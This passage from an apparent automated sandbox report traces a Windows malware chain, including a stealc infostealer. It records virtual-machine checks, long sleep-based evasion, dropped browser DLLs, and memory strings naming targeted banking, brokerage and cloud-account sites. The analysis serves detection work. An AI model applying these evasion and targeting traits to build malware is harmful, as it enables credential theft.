Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Special instruction interceptor: First address: F60A79 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Memory allocated: 15A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Memory allocated: 3160000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Memory allocated: 3070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 28A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2A90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 29D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Memory allocated: 2820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Memory allocated: 29B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Memory allocated: 49B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Memory allocated: 3120000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Memory allocated: 31B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Memory allocated: 51B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Memory allocated: 1390000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Memory allocated: 2E90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Memory allocated: 2D70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Memory allocated: DF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Memory allocated: 28A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Memory allocated: 26B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2AF0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2C80000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4C80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Memory allocated: B60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Memory allocated: 23B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Memory allocated: 43B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Memory allocated: 2600000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Memory allocated: 2820000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Memory allocated: 4820000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Memory allocated: 1320000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Memory allocated: 2D20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Memory allocated: 4D20000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 11A0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2D20000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2AD0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05580C46 rdtsc

0_2_05580C46

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 443	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 401	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 421	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 414	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 445	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 401	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Window / User API: threadDelayed 819
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Window / User API: threadDelayed 488
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 1796
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 3333
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Window / User API: threadDelayed 2376
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Window / User API: threadDelayed 1892

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Microsoft-Edge[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\neon[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\NetSup_Buil2d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000355001\3ab68b6f1f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000357001\Microsoft-Edge.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 9.8 %

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4904	Thread sleep count: 259 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4904	Thread sleep time: -518259s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1976	Thread sleep count: 443 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1976	Thread sleep time: -886443s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2724	Thread sleep count: 401 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2724	Thread sleep time: -802401s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3524	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4776	Thread sleep count: 161 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4776	Thread sleep time: -4830000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 616	Thread sleep count: 421 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 616	Thread sleep time: -842421s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1176	Thread sleep count: 414 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1176	Thread sleep time: -828414s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5632	Thread sleep count: 445 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5632	Thread sleep time: -890445s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2196	Thread sleep time: -1080000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5512	Thread sleep count: 401 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5512	Thread sleep time: -802401s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4776	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe TID: 5256	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1404	Thread sleep count: 288 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1404	Thread sleep count: 207 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe TID: 3080	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe TID: 3212	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe TID: 2912	Thread sleep count: 819 > 30
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe TID: 2912	Thread sleep count: 488 > 30
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe TID: 3840	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe TID: 5040	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe TID: 5692	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe TID: 5760	Thread sleep count: 52 > 30
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe TID: 5760	Thread sleep time: -312000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6288	Thread sleep time: -17524406870024063s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5932	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe TID: 2268	Thread sleep time: -14757395258967632s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe TID: 2168	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe TID: 1780	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe TID: 6516	Thread sleep count: 302 > 30
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe TID: 3264	Thread sleep count: 167 > 30
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe TID: 3544	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3748	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe TID: 6064	Thread sleep count: 74 > 30
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe TID: 6064	Thread sleep time: -444000s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : Select Name from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 15_2_0041B6EA FindFirstFileExW,

15_2_0041B6EA

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File opened: C:\Users\user\Desktop\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File opened: C:\Users\user\AppData\Local\Temp

Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp	Binary or memory string: ParallelsVirtualMachine
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: needmoney.exe, 00000018.00000000.2908554438.0000000000401000.00000020.00000001.01000000.00000013.sdmp	Binary or memory string: QEMUU
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: svchost015.exe, 0000001E.00000002.3442582690.0000000027040000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: axplong.exe, 00000006.00000002.3518419435.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3070584798.000000000104F000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: svchost015.exe, 0000001E.00000002.3442582690.0000000027040000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: penis.exe, 00000019.00000002.2964689421.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe@\
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: axplong.exe, 00000006.00000002.3526057863.0000000005960000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IsVirtualMachine
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: penis.exe, 00000019.00000002.2964689421.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: axplong.exe, axplong.exe, 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: svchost015.exe, 0000001E.00000002.3442582690.0000000027040000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
